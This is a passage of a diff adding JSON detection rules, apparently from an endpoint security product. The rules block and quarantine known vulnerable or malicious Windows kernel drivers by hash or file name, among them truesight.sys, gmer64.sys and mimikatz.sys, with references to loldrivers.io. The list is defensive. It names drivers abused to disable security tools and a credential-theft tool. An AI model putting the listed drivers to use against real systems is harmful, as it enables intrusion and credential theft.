+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831666Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "329393b1ef53053dc6ee1202355fda1446e4da10f0488b6107ffff4638b8a010",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05c418e8-7a2e-5be1-ac62-b585d58a8ea2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478346Z",
+  "creation_date": "2026-03-23T11:45:30.478349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478358Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "775000c4083c8e4dcfc879d83fcd27b40b46820c9834ae4662861386a4d81fe9",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05c4cbca-396e-52e4-9737-cacdba3d2697",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827107Z",
+  "creation_date": "2026-03-23T11:45:30.827109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8f3814646ffa58ca9729760b5e0d37396273a0649583cbad1f72909fa452892",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05cf2af0-8a0e-50a9-be37-4e57d392de47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605376Z",
+  "creation_date": "2026-03-23T11:45:29.605379Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "filename",
+  "value": "kprocesshacker.sys",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05e7fd7d-2794-5963-acae-125e302754e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978773Z",
+  "creation_date": "2026-03-23T11:45:29.978775Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978781Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3913d9754b78182aa25d38fbd7ea02502bdf1d81e6525ab4b5ffe5f543200478",
+  "comment": "Malicious Kernel Driver (aka gmer64.sys) [https://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05f6a82d-e43f-51d3-907a-e07fd0e52c29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160623Z",
+  "creation_date": "2026-03-23T11:45:31.160625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160632Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "555c77bc0c4f700d6b5dde9e0fade8366187ead215f4a5f15378d6e4395f3d7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05fe4632-59a6-5051-8754-21c32a8cdd48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150106Z",
+  "creation_date": "2026-03-23T11:45:31.150108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa3511eb499b94646617a2bb4254c5e435bb8fcdc706d6ee0bc3019907c21146",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "060d23a5-7edc-51a4-b217-f718b7894f21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146474Z",
+  "creation_date": "2026-03-23T11:45:31.146476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62e71e3ec19c2a37a1ab793cb11c84f6de3c2b33765b1eba8b281a55677a97a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06108c7f-8ef1-50d8-9153-e017dc1456a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830107Z",
+  "creation_date": "2026-03-23T11:45:31.830109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "654a050581e50d3be2d714ad9012d01f88024298b46c1bae50a556fa16345776",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "061cbb6d-0e35-5277-a7ce-2fdeb0b2988a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143236Z",
+  "creation_date": "2026-03-23T11:45:31.143238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143243Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f021fb4514087b1b6b11ea6b5a9c5edb589900c61448fff4e213fcea0cba6a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "061fddfc-1028-5872-ad98-bc3b268b440e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618620Z",
+  "creation_date": "2026-03-23T11:45:29.618622Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ac5e01689a3d745e60925bc7faca8d4306ae693e803b5e19c94906dc30add46",
+  "comment": "Vulnerable Kernel Driver (aka fidpcidrv64.sys) [https://www.loldrivers.io/drivers/a005e057-c84f-47cd-9b4b-5b1e51a06ab4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "062c715f-e8a4-531d-8989-505021f79c89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453103Z",
+  "creation_date": "2026-03-23T11:45:30.453106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00b3ff11585c2527b9e1c140fd57cb70b18fd0b775ec87e9646603056622a1fd",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0630d6fc-0fd0-5e82-8113-b70a8cf8c82f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825734Z",
+  "creation_date": "2026-03-23T11:45:31.825736Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34f43f48836d007907b570556ef8374485de44c0772a31b4bfb3da0d9fb0cad7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0635e83a-2aa2-5fb7-91e2-b9a931abca1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618677Z",
+  "creation_date": "2026-03-23T11:45:29.618679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b62ecd7eccde402456eab582b49705cc77065d7015e7d92bbc06e0fcff097e58",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "064ad0c1-53c5-5170-be1d-a62adc279719",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487943Z",
+  "creation_date": "2026-03-23T11:45:31.487945Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487959Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "caccf1965f77b49df12b2620952d6806bb8371ec6e344b055cad624318b75b99",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "064da8f4-2bdb-599b-a329-95e44e4a3bb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462469Z",
+  "creation_date": "2026-03-23T11:45:30.462480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36487117894ca7b93f704e26f22725827f6f04ec3b8c45eaa0d283a11de9a9c3",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06509c64-b674-55d4-9c17-499f4545c9aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616273Z",
+  "creation_date": "2026-03-23T11:45:29.616275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7c8f4faf3cbb088cac7753d81f8ec4c38ccb97cd9da817741f49272e8d01200",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "065ffb3c-2da3-51ee-be53-e962555d4e02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984244Z",
+  "creation_date": "2026-03-23T11:45:29.984246Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ee33ffd80611a13779df6286c1e04d3c151f1e2f65e3d664a08997fcd098ef3",
+  "comment": "Vulnerable Kernel Driver (aka EneIo64.sys) [https://www.loldrivers.io/drivers/90ecbbf7-b02f-424d-8b7d-56cc9e3b5873/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06615c0c-228f-512b-8133-3a258f2de2cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143687Z",
+  "creation_date": "2026-03-23T11:45:32.143689Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f085bc766d865fa012163ed7c044af25285525b1276b6cef2085efab78e9b66",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06687483-5a24-5d21-ac75-81bdb46e0b2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829628Z",
+  "creation_date": "2026-03-23T11:45:31.829630Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4b9295eef82a88012a2ae5a1987e3050a5b9a16862b7772c2f48bd2e36f7cff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "066e77b3-da67-5b0f-8311-335135a536fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816575Z",
+  "creation_date": "2026-03-23T11:45:31.816579Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "539bc7e214d332c57c6f15612866fcc28ea26a98b59e9ef61a5c1741ab221ae0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "067cf797-ab30-5ff8-94d0-01f304adb096",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971361Z",
+  "creation_date": "2026-03-23T11:45:29.971365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cb594af6a3655daebc9fad9c8abf2417b00ba31dcd118707824e5316fc0cc21",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "068025b9-3a38-50b5-9a3b-30c14ea6e256",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975931Z",
+  "creation_date": "2026-03-23T11:45:29.975934Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975939Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4c2ef76c204273132fde38f0ded641c2c5ee767652e64e4c4071a4a973b6c1b",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
